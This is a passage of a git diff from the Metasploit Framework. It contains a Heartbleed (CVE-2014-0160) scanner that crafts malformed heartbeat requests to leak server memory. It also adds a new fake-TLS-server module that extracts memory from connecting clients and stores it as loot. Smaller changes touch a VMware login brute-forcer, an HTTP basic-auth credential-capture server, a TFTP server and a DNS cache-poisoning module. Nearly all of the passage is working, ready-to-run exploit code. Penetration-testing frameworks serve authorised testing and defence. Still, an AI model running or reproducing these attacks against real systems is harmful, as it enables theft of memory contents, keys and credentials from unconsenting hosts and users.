+        OptEnum.new('TLSVERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
+        OptBool.new('STOREDUMP', [true, 'Store leaked memory in a file', false]),
+        OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
+      ], self.class)
+
+    register_advanced_options(
+      [
+        OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
+        OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
+      ], self.class)
+
+  end
+
+  def run
+    if heartbeat_length > 65535 || heartbeat_length < 0
+      print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
+      return
+    end
+
+    super
+  end
+
+  def heartbeat_length
+    datastore["HEARTBEAT_LENGTH"]
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
+  def tls_smtp
+    # https://tools.ietf.org/html/rfc3207
+    sock.get_once
+    sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
+    res = sock.get_once
+
+    unless res && res =~ /STARTTLS/
+      return nil
+    end
+    sock.put("STARTTLS\r\n")
+    sock.get_once
+  end
+
+  def tls_imap
+    # http://tools.ietf.org/html/rfc2595
+    sock.get_once
+    sock.put("a001 CAPABILITY\r\n")
+    res = sock.get_once
+    unless res && res =~ /STARTTLS/i
+      return nil
+    end
+    sock.put("a002 STARTTLS\r\n")
+    sock.get_once
+  end
+
+  def tls_pop3
+    # http://tools.ietf.org/html/rfc2595
+    sock.get_once
+    sock.put("CAPA\r\n")
+    res = sock.get_once
+    if res.nil? || res =~ /^-/ || res !~ /STLS/
+      return nil
+    end
+    sock.put("STLS\r\n")
+    res = sock.get_once
+    if res.nil? || res =~ /^-/
+      return nil
+    end
+    res
+  end
+
+  def jabber_connect_msg(hostname)
+    # http://xmpp.org/extensions/xep-0035.html
+    msg = "<stream:stream xmlns='jabber:client' "
+    msg << "xmlns:stream='http://etherx.jabber.org/streams' "
+    msg << "version='1.0' "
+    msg << "to='#{hostname}'>"
+  end
+
+  def tls_jabber
+    sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
+    res = sock.get
+    if res && res.include?('host-unknown')
+      jabber_host = res.match(/ from='([\w.]*)' /)
+      if jabber_host && jabber_host[1]
+        disconnect
+        connect
+        vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
+        sock.put(jabber_connect_msg(jabber_host[1]))
+        res = sock.get
+      end
+    end
+    if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
+      vprint_error("#{peer} - Jabber host unknown. Please try changing the XMPPDOMAIN option.") if res && res.include?('host-unknown')
+      return nil
+    end
+    msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
+    sock.put(msg)
+    res = sock.get
+    return nil if res.nil? || !res.include?('<proceed')
+    res
+  end
+
+  def tls_ftp
+    # http://tools.ietf.org/html/rfc4217
+    res = sock.get
+    return nil if res.nil?
+    sock.put("AUTH TLS\r\n")
+    res = sock.get_once
+    return nil if res.nil?
+    if res !~ /^234/
+      # res contains the error message
+      vprint_error("#{peer} - FTP error: #{res.strip}")
+      return nil
+    end
+    res
+  end
+
+  def run_host(ip)
+    connect
+
+    unless datastore['STARTTLS'] == 'None'
+      vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
+      res = self.send(TLS_CALLBACKS[datastore['STARTTLS']])
+      if res.nil?
+        vprint_error("#{peer} - STARTTLS failed...")
+        return
+      end
+    end
+
+    vprint_status("#{peer} - Sending Client Hello...")
+    sock.put(client_hello)
+
+    server_hello = sock.get
+    unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
+      vprint_error("#{peer} - Server Hello Not Found")
+      return
+    end
+
+    vprint_status("#{peer} - Sending Heartbeat...")
+    sock.put(heartbeat(heartbeat_length))
+    hdr = sock.get_once(5)
+    if hdr.blank?
+      vprint_error("#{peer} - No Heartbeat response...")
+      return
+    end
+
+    unpacked = hdr.unpack('Cnn')
+    type = unpacked[0]
+    version = unpacked[1] # must match the type from client_hello
+    len = unpacked[2]
+
+    # try to get the TLS error
+    if type == ALERT_RECORD_TYPE
+      res = sock.get_once(len)
+      alert_unp = res.unpack('CC')
+      alert_level = alert_unp[0]
+      alert_desc = alert_unp[1]
+      msg = "Unknown error"
+      # http://tools.ietf.org/html/rfc5246#section-7.2
+      case alert_desc
+      when 0x46
+        msg = "Protocol error. Looks like the chosen protocol is not supported."
+      end
+      vprint_error("#{peer} - #{msg}")
+      disconnect
+      return
+    end
+
+    unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
+      vprint_error("#{peer} - Unexpected Heartbeat response")
+      disconnect
+      return
+    end
+
+    vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
+    heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
+    if heartbeat_data
+      print_good("#{peer} - Heartbeat response with leak")
+      report_vuln({
+        :host => rhost,
+        :port => rport,
+        :name => self.name,
+        :refs => self.references,
+        :info => "Module #{self.fullname} successfully leaked info"
+      })
+      if datastore['STOREDUMP']
+        pattern = datastore['DUMPFILTER']
+        if pattern
+          match_data = heartbeat_data.scan(pattern).join
+        else
+          match_data = heartbeat_data
+        end
+        path = store_loot(
+          "openssl.heartbleed.server",
+          "application/octet-stream",
+          ip,
+          match_data,
+          nil,
+          "OpenSSL Heartbleed server memory"
+        )
+        print_status("#{peer} - Heartbeat data stored in #{path}")
+      end
+      vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
+    else
+      vprint_error("#{peer} - Looks like there isn't leaked information...")
+    end
+  end
+
+  def heartbeat(length)
+    payload = "\x01"              # Heartbeat Message Type: Request (1)
+    payload << [length].pack("n") # Payload Length: 65535
+
+    ssl_record(HEARTBEAT_RECORD_TYPE, payload)
+  end
+
+  def client_hello
+    # Use current day for TLS time
+    time_temp = Time.now
+    time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
+
+    hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
+    hello_data << [time_epoch].pack("N")    # Time in epoch format
+    hello_data << Rex::Text.rand_text(28)   # Random
+    hello_data << "\x00"                    # Session ID length
+    hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
+    hello_data << CIPHER_SUITES.pack("n*")  # Cipher Suites
+    hello_data << "\x01"                    # Compression methods length (1)
+    hello_data << "\x00"                    # Compression methods: null
+
+    hello_data_extensions = "\x00\x0f"      # Extension type (Heartbeat)
+    hello_data_extensions << "\x00\x01"     # Extension length
+    hello_data_extensions << "\x01"         # Extension data
+
+    hello_data << [hello_data_extensions.length].pack("n")
+    hello_data << hello_data_extensions
+
+    data = "\x01\x00"                      # Handshake Type: Client Hello (1)
+    data << [hello_data.length].pack("n")  # Length
+    data << hello_data
+
+    ssl_record(HANDSHAKE_RECORD_TYPE, data)
+  end
+
+  def ssl_record(type, data)
+    record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
+    record << data
+  end
+end
diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb
index 95776f3900..6bcdfb08ee 100644
--- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb
@@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
 
 
   def run_host(ip)
-    return unless check
+    return unless is_vmware?
     each_user_pass { |user, pass|
       result = vim_do_login(user, pass)
       case result
@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
 
 
   # Mostly taken from the Apache Tomcat service validator
-  def check
+  def is_vmware?
     soap_data =
       %Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
       <env:Body>
diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb
index 0cca639d66..0796e9caec 100644
--- a/modules/auxiliary/server/capture/http_basic.rb
+++ b/modules/auxiliary/server/capture/http_basic.rb
@@ -39,7 +39,8 @@ class Metasploit3 < Msf::Auxiliary
     register_options(
       [
         OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
-        OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ])
+        OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ]),
+        OptString.new('RedirectURL', [ false, "The page to redirect users to after they enter basic auth creds" ])
       ], self.class)
   end
 
@@ -73,9 +74,14 @@ class Metasploit3 < Msf::Auxiliary
       )
 
       print_good("#{cli.peerhost} - Credential collected: \"#{user}:#{pass}\" => #{req.resource}")
-      send_not_found(cli)
+      if datastore['RedirectURL']
+        print_status("Redirecting client #{cli.peerhost} to #{datastore['RedirectURL']}")
+        send_redirect(cli, datastore['RedirectURL'])
+      else
+        send_not_found(cli)
+      end
     else
-      print_status("Sending 401 to client")
+      print_status("Sending 401 to client #{cli.peerhost}")
       response = create_response(401, "Unauthorized")
       response.headers['WWW-Authenticate'] = "Basic realm=\"#{@realm}\""
       cli.send_response(response)
diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
new file mode 100644
index 0000000000..cc6a75cd86
--- /dev/null
+++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb
@@ -0,0 +1,536 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::TcpServer
+  include Msf::Auxiliary::Report
+
+  def initialize
+    super(
+      'Name'           => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure',
+      'Description'    => %q{
+        This module provides a fake SSL service that is intended to
+        leak memory from client systems as they connect. This module is
+        hardcoded for TLS/1.1 using the AES-128-CBC-SHA1 cipher.
+      },
+      'Author'         =>
+        [
+          'Neel Mehta', # Vulnerability discovery
+          'Riku', # Vulnerability discovery
+          'Antti', # Vulnerability discovery
+          'Matti', # Vulnerability discovery
+          'hdm' # MSF module
+        ],
+      'License'        => MSF_LICENSE,
+      'Actions'        => [['Capture']],
+      'PassiveActions' => ['Capture'],
+      'DefaultAction'  => 'Capture',
+      'References'     =>
+        [
+          ['CVE', '2014-0160'],
+          ['US-CERT-VU', '720951'],
+          ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
+          ['URL', 'http://heartbleed.com/']
+        ],
+      'DisclosureDate' => 'Apr 07 2014'
+    )
+
+    register_options(
+      [
+        OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 8443 ]),
+        OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]),
+        OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]),
+        OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false])
+      ], self.class)
+  end
+
+  # Initialize the client state and RSA key for this session
+  def setup
+    super
+    @state    = {}
+    @cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls?
+  end
+
+  # Setup the server module and start handling requests
+  def run
+    print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
+    exploit
+  end
+
+  # Determine how much memory to leak with each request
+  def heartbeat_read_size
+    datastore['HEARTBEAT_READ'].to_i
+  end
+
+  # Determine how much heartbeat data to capture at the most
+  def heartbeat_limit
+    datastore['HEARTBEAT_LIMIT'].to_i * 1024
+  end
+
+  # Determine whether we should negotiate TLS or not
+  def negotiate_tls?
+    !! datastore['NEGOTIATE_TLS']
+  end
+
+  # Initialize a new state for every client
+  def on_client_connect(c)
+    @state[c] = {
+      :name          => "#{c.peerhost}:#{c.peerport}",
+      :ip            => c.peerhost,
+      :port          => c.peerport,
+      :heartbeats    => "",
+      :server_random => [Time.now.to_i].pack("N") + Rex::Text.rand_text(28)
+    }
+    print_status("#{@state[c][:name]} Connected")
+  end
+
+  # Buffer messages and parse them once they are fully received
+  def on_client_data(c)
+    data = c.get_once
+    return if not data
+    @state[c][:buff] ||= ""
+    @state[c][:buff] << data
+    process_request(c)
+  end
+
+  # Extract TLS messages from the buffer and process them
+  def process_request(c)
+
+    # Make this slightly harder to DoS
+    if @state[c][:buff].to_s.length > (1024*128)
+      print_status("#{@state[c][:name]} Buffer limit reached, dropping connection")
+      c.close
+      return
+    end
+
+    # Process any buffered messages
+    loop do
+      break unless @state[c][:buff]
+
+      message_type, message_ver, message_len = @state[c][:buff].unpack("Cnn")
+      break unless message_len
+      break unless @state[c][:buff].length >= message_len+5
+
+      mesg = @state[c][:buff].slice!(0, message_len+5)
+
+      if @state[c][:encrypted]
+        process_openssl_encrypted_request(c, mesg)
+      else
+        process_openssl_cleartext_request(c, mesg)
+      end
+    end
+  end
+
+  # Process cleartext TLS messages
+  def process_openssl_cleartext_request(c, data)
+    message_type, message_version = data.unpack("Cn")
+
+    if message_type == 0x15 and data.length >= 7
+      message_level, message_reason = data[5,2].unpack("CC")
+      print_status("#{@state[c][:name]} Alert Level #{message_level} Reason #{message_reason}")
+      if message_level == 2 and message_reason == 0x30
+        print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA")
+        return
+      end
+
+      if level == 2
+        print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}")
+        return
+      end
+
+    end
+
+    unless message_type == 0x18
+      message_code = data[5,1].to_s.unpack("C").first
+      vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")
+    end
+
+    # Process the Client Hello
+    unless @state[c][:received_hello]
+
+      unless (message_type == 0x16 and data.length > 43 and message_code == 0x01)
+        print_status("#{@state[c][:name]} Expected a Client Hello, received #{sprintf("type %.2x code %.2x", message_type, message_code)}")
+        return
+      end
+
+      print_status("#{@state[c][:name]} Processing Client Hello...")
+
+      # Ignore clients that do not support heartbeat requests
+      unless data.index("\x0F\x00\x01\x01")
+        print_status("#{@state[c][:name]} Client does not support heartbeats")
+        c.close
+        return
+      end
+
+      # Extract the client_random needed to compute the master key
+      @state[c][:client_random]  = data[11,32]
+      @state[c][:received_hello] = true
+
+      print_status("#{@state[c][:name]} Sending Server Hello...")
+      openssl_send_server_hello(c, data)
+      return
+    end
+
+    # If we are negotiating TLS, handle Client Key Exchange/Change Cipher Spec
+    if negotiate_tls?
+      # Process the Client Key Exchange
+      if message_type == 0x16 and data.length > 11 and message_code == 0x10
+        print_status("#{@state[c][:name]} Processing Client Key Exchange...")
+        premaster_length = data[9, 2].unpack("n").first
+
+        # Extract the pre-master secret in encrypted form
+        if data.length >= 11 + premaster_length
+          premaster_encrypted = data[11, premaster_length]
+
+          # Decrypt the pre-master secret using our RSA key
+          premaster_clear = @cert_key.private_decrypt(premaster_encrypted) rescue nil
+          @state[c][:premaster] = premaster_clear if premaster_clear
+        end
+      end
+
+      # Process the Change Cipher Spec and switch to encrypted communications
+      if message_type == 0x14 and message_code == 0x01
+        print_status("#{@state[c][:name]} Processing Change Cipher Spec...")
+        initialize_encryption_keys(c)
+        return
+      end
+    # Otherwise just start capturing heartbeats in clear-text mode
+    else
+      # Send heartbeat requests
+      if @state[c][:heartbeats].length < heartbeat_limit
+        openssl_send_heartbeat(c)
+      end
+
+      # Process cleartext heartbeat replies
+      if message_type == 0x18
+        vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]")
+        @state[c][:heartbeats] << data[5, data.length-5]
+      end
+
+      # Full up on heartbeats, disconnect the client
+      if @state[c][:heartbeats].length >= heartbeat_limit
+        print_status("#{@state[c][:name]} Heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
+        store_captured_heartbeats(c)
+        c.close()
+      end
+    end
+  end
+
+  # Process encrypted TLS messages
+  def process_openssl_encrypted_request(c, data)
+    message_type, message_version = data.unpack("Cn")
+
+    return if @state[c][:shutdown]
+    return unless data.length > 5
+
+    buff = decrypt_data(c, data[5, data.length-5])
+    unless buff
+      print_status("#{@state[c][:name]} Failed to decrypt, giving up on this client")
+      c.close
+      return
+    end
+
+    message_code = buff[0,1].to_s.unpack("C").first
+    vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")
+
+    if message_type == 0x16
+      print_status("#{@state[c][:name]} Processing Client Finished...")
+    end
+
+    # Send heartbeat requests
+    if @state[c][:heartbeats].length < heartbeat_limit
+      openssl_send_heartbeat(c)
+    end
+
+    # Process heartbeat replies
+    if message_type == 0x18
+      vprint_status("#{@state[c][:name]} Encrypted heartbeat received (#{buff.length} bytes) [#{@state[c][:heartbeats].length} bytes total]")
+      @state[c][:heartbeats] << buff
+    end
+
+    # Full up on heartbeats, disconnect the client
+    if @state[c][:heartbeats].length >= heartbeat_limit
+      print_status("#{@state[c][:name]} Encrypted heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
+      store_captured_heartbeats(c)
+      c.close()
+    end
+  end
+
+  # Dump captured memory to a file on disk using the loot API
+  def store_captured_heartbeats(c)
+    if @state[c][:heartbeats].length > 0
+      begin
+        path = store_loot(
+          "openssl.heartbleed.client",
+          "application/octet-stream",
+          @state[c][:ip],
+          @state[c][:heartbeats],
+          nil,
+          "OpenSSL Heartbleed client memory"
+        )
+        print_status("#{@state[c][:name]} Heartbeat data stored in #{path}")
+      rescue ::Interrupt
+        raise $!
+      rescue ::Exception
+        print_status("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
+      end
+
+      # Report the memory disclosure as a vulnerability on the host
+      report_vuln({
+        :host => @state[c][:ip],
+        :name => self.name,
+        :info => "Module #{self.fullname} successfully dumped client memory contents",
+        :refs => self.references,
+        :exploited_at => Time.now.utc
+      }) rescue nil # Squash errors related to ip => 127.0.0.1 and the like
+    end
+
+    # Clear the heartbeat array
+    @state[c][:heartbeats] = ""
+    @state[c][:shutdown] = true
+  end
+
+  # Delete the state on connection close
+  def on_client_close(c)
+    # Do we have any pending heartbeats to save?
+    if @state[c][:heartbeats].length > 0
+      store_captured_heartbeats(c)
+    end
+    @state.delete(c)
+  end
+
+  # Send an OpenSSL Server Hello response
+  def openssl_send_server_hello(c, hello)
+
+    # Create the Server Hello response
+    extensions =
+      "\x00\x0f\x00\x01\x01"       # Heartbeat
+
+    server_hello_payload =
+      "\x03\x02" +                 # TLS Version 1.1
+      @state[c][:server_random] +  # Random (Timestamp + Random Bytes)
+      "\x00" +                     # Session ID
+      "\x00\x2F" +                 # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
+      "\x00" +                     # Compression Method (none)
+      [extensions.length].pack('n') + extensions
+
+    server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload
+
+    msg1 = "\x16\x03\x02" + [server_hello.length].pack("n") + server_hello
+    c.put(msg1)
+
+    # Skip the rest of TLS if we arent negotiating it
+    unless negotiate_tls?
+      # Send a heartbeat request to start the stream and return
+      openssl_send_heartbeat(c)
+      return
+    end
+
+    # Certificates
+    certs_combined = generate_certificates
+    pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined
+    msg2 = "\x16\x03\x02" + [pay2.length].pack("n") + pay2
+    c.put(msg2)
+
+    # End of Server Hello
+    pay3 = "\x0e\x00\x00\x00"
+    msg3 = "\x16\x03\x02" + [pay3.length].pack("n") + pay3
+    c.put(msg3)
+  end
+
+  # Send the heartbeat request that results in memory exposure
+  def openssl_send_heartbeat(c)
+    c.put "\x18\x03\x02\x00\x03\x01" + [heartbeat_read_size].pack("n")
+  end
+
+  # Pack the certificates for use in the TLS reply
+  def generate_certificates
+    certs = []
+    certs << generate_certificate.to_der
+    certs_combined = certs.map { |cert| [ cert.length ].pack("N")[1, 3] + cert }.join
+  end
+
+  # Generate a self-signed certificate to use for the service
+  def generate_certificate
+    key  = @cert_key
+    cert = OpenSSL::X509::Certificate.new
+    cert.version = 2
+    cert.serial  = rand(0xFFFFFFFF)
+
+    subject_cn = Rex::Text.rand_hostname
+    subject = OpenSSL::X509::Name.new([
+        ["C","US"],
+        ['ST', Rex::Text.rand_state()],
+        ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
+        ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
+        ["CN", subject_cn],
+      ])
+    issuer = OpenSSL::X509::Name.new([
+        ["C","US"],
+        ['ST', Rex::Text.rand_state()],
+        ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
+        ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
+        ["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
+      ])
+
+    cert.subject = subject
+    cert.issuer = issuer
+    cert.not_before = Time.now - (3600 * 24 * 365) + rand(3600 * 14)
+    cert.not_after = Time.now + (3600 * 24 * 365) + rand(3600 * 14)
+    cert.public_key = key.public_key
+    ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
+    cert.extensions = [
+      ef.create_extension("basicConstraints","CA:FALSE"),
+      ef.create_extension("subjectKeyIdentifier","hash"),
+      ef.create_extension("extendedKeyUsage","serverAuth"),
+      ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
+    ]
+    ef.issuer_certificate = cert
+    cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
+    cert.sign(key, OpenSSL::Digest::SHA1.new)
+    cert
+  end
+
+  # Decrypt the TLS message and return the result without the MAC
+  def decrypt_data(c, data)
+    return unless @state[c][:client_enc]
+
+    cipher = @state[c][:client_enc]
+
+    begin
+      buff = cipher.update(data)
+      buff << cipher.final
+
+      # Trim the trailing MAC signature off the buffer
+      if buff.length >= 20
+        return buff[0, buff.length-20]
+      end
+    rescue ::OpenSSL::Cipher::CipherError => e
+      print_status("#{@state[c][:name]} Decryption failed: #{e}")
+    end
+
+    nil
+  end
+
+  # Calculate keys and toggle encrypted status
+  def initialize_encryption_keys(c)
+    tls1_calculate_crypto_keys(c)
+    @state[c][:encrypted] = true
+  end
+
+  # Determine crypto keys for AES-128-CBC based on the master secret
+  def tls1_calculate_crypto_keys(c)
+    @state[c][:master] = tls1_calculate_master_key(c)
+    return unless @state[c][:master]
+
+    key_block = tls1_prf(
+      @state[c][:master],
+      "key expansion" +  @state[c][:server_random] + @state[c][:client_random],
+      (20 * 2) + (16 * 4)
+    )
+
+    # Extract the MAC, encryption, and IV from the keyblock
+    @state[c].update({
+      :client_write_mac_key => key_block.slice!(0, 20),
+      :server_write_mac_key => key_block.slice!(0, 20),
+      :client_write_key     => key_block.slice!(0, 16),
+      :server_write_key     => key_block.slice!(0, 16),
+      :client_iv            => key_block.slice!(0, 16),
+      :server_iv            => key_block.slice!(0, 16),
+    })
+
+    client_cipher = OpenSSL::Cipher.new('aes-128-cbc')
+    client_cipher.key = @state[c][:client_write_key]
+    client_cipher.iv  = @state[c][:client_iv]
+    client_cipher.decrypt
+    client_mac = OpenSSL::HMAC.new(@state[c][:client_write_mac_key], OpenSSL::Digest.new('sha1'))
+
+    server_cipher = OpenSSL::Cipher.new('aes-128-cbc')
+    server_cipher.key = @state[c][:server_write_key]
+    server_cipher.iv  = @state[c][:server_iv]
+    server_cipher.encrypt
+    server_mac = OpenSSL::HMAC.new(@state[c][:server_write_mac_key], OpenSSL::Digest.new('sha1'))
+
+    @state[c].update({
+      :client_enc => client_cipher,
+      :client_mac => client_mac,
+      :server_enc => server_cipher,
+      :server_mac => server_mac
+    })
+
+    true
+  end
+
+  # Determine the master key from the premaster and client/server randoms
+  def tls1_calculate_master_key(c)
+    return unless (
+      @state[c][:premaster]     and
+      @state[c][:client_random] and
+      @state[c][:server_random]
+    )
+    tls1_prf(
+      @state[c][:premaster],
+      "master secret" + @state[c][:client_random] + @state[c][:server_random],
+      48
+    )
+  end
+
+  # Random generator used to calculate key data for TLS 1.0/1.1
+  def tls1_prf(input_secret, input_label, output_length)
+    # Calculate S1 and S2 as even blocks of each half of the secret
+    # string. If the blocks are uneven, then S1's last byte should
+    # be duplicated by S2's first byte
+    blen = (input_secret.length / 2.0).ceil
+    s1 = input_secret[0, blen]
+    s2_index = blen
+    if input_secret.length % 2 != 0
+      s2_index -= 1
+    end
+    s2 = input_secret[s2_index, blen]
+
+    # Hash the first part with MD5
+    out1 = tls1_p_hash('md5', s1, input_label, output_length).unpack("C*")
+
+    # Hash the second part with SHA1
+    out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack("C*")
+
+    # XOR the results together
+    [*(0..out1.length-1)].map {|i| out1[i] ^ out2[i] }.pack("C*")
+  end
+
+  # Used by tls1_prf to generate arbitrary amounts of session key data
+  def tls1_p_hash(digest, secret, label, olen)
+    output  = ""
+    chunk   = OpenSSL::Digest.new(digest).digest_length
+    ctx     = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
+    ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
+
+    ctx.update(label)
+    a1 = ctx.digest
+
+    loop do
+      ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
+      ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
+      ctx.update(a1)
+      ctx_tmp.update(a1)
+      ctx.update(label)
+
+      if olen > chunk
+        output << ctx.digest
+        a1 = ctx_tmp.digest
+        olen -= chunk
+      else
+        a1 = ctx.digest
+        output << a1[0, olen]
+        break
+      end
+    end
+
+    output
+  end
+end
diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb
index b638679aa4..d21ad0002d 100644
--- a/modules/auxiliary/server/tftp.rb
+++ b/modules/auxiliary/server/tftp.rb
@@ -5,6 +5,7 @@
 
 require 'msf/core'
 require 'rex/proto/tftp'
+require 'tmpdir'
 
 class Metasploit3 < Msf::Auxiliary
 
@@ -17,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
       'Description'    => %q{
         This module provides a TFTP service
       },
-      'Author'      => [ 'jduck' ],
+      'Author'      => [ 'jduck', 'todb' ],
       'License'     => MSF_LICENSE,
       'Actions'     =>
         [
@@ -32,31 +33,35 @@ class Metasploit3 < Msf::Auxiliary
 
     register_options(
       [
-        OptString.new('TFTPROOT',   [ false,  "The TFTP root directory to serve files from" ]),
-        OptString.new('OUTPUTPATH', [ false, "The directory in which uploaded files will be written." ])
+        OptAddress.new('SRVHOST',   [ true, "The local host to listen on.", '0.0.0.0' ]),
+        OptPort.new('SRVPORT',      [ true, "The local port to listen on.", 69 ]),
+        OptPath.new('TFTPROOT',   [ true, "The TFTP root directory to serve files from", Dir.tmpdir  ]),
+        OptPath.new('OUTPUTPATH', [ true, "The directory in which uploaded files will be written.", Dir.tmpdir ])
       ], self.class)
   end
 
+  def srvhost
+    datastore['SRVHOST'] || '0.0.0.0'
+  end
+
+  def srvport
+    datastore['SRVPORT'] || 69
+  end
+
   def run
-    if not datastore['OUTPUTPATH'] and not datastore['TFTPROOT']
-      print_error("You must set TFTPROOT and/or OUTPUTPATH to use this module.")
-      return
-    end
+    print_status("Starting TFTP server on #{srvhost}:#{srvport}...")
 
-    @tftp = Rex::Proto::TFTP::Server.new
+    @tftp = Rex::Proto::TFTP::Server.new(
+      srvport,
+      srvhost,
+      {}
+    )
 
-    print_status("Starting TFTP server...")
+    @tftp.set_tftproot(datastore['TFTPROOT'])
+    print_status("Files will be served from #{datastore['TFTPROOT']}")
 
-    if datastore['TFTPROOT']
-      print_status("Files will be served from #{datastore['TFTPROOT']}")
-      @tftp.set_tftproot(datastore['TFTPROOT'])
-    end
-
-    # register output directory
-    if datastore['OUTPUTPATH']
-      print_status("Uploaded files will be saved in #{datastore['OUTPUTPATH']}")
-      @tftp.set_output_dir(datastore['OUTPUTPATH'])
-    end
+    @tftp.set_output_dir(datastore['OUTPUTPATH'])
+    print_status("Uploaded files will be saved in #{datastore['OUTPUTPATH']}")
 
     # Individual virtual files can be served here -
     #@tftp.register_file("ays", "A" * 2048) # multiple of 512 on purpose
@@ -66,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
 
     # Wait for finish..
     while @tftp.thread.alive?
-      select(nil, nil, nil, 2)
+      sleep 3
     end
 
     vprint_status("Stopping TFTP server")
diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
index 62bc90f183..3b5f36b44b 100644
--- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
+++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
@@ -58,7 +58,6 @@ class Metasploit3 < Msf::Auxiliary
 
   def auxiliary_commands
     return {
-      "check" => "Determine if the specified DNS server (RHOST) is vulnerable",
       "racer" => "Determine the size of the window for the target server"
     }
   end
@@ -75,14 +74,9 @@ class Metasploit3 < Msf::Auxiliary
     calculate_race(targ, dom)
   end
 
-  def cmd_check(*args)
-    targ = args[0] || rhost()
-    if !(targ and targ.length > 0)
-      print_status("usage: check [dns-server]")
-      return
-    end
+  def check
+    targ = rhost
 
-    print_status("Using the Metasploit service to verify exploitability...")
     srv_sock = Rex::Socket.create_udp(
       'PeerHost' => targ,
       'PeerPort' => 53
@@ -111,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary
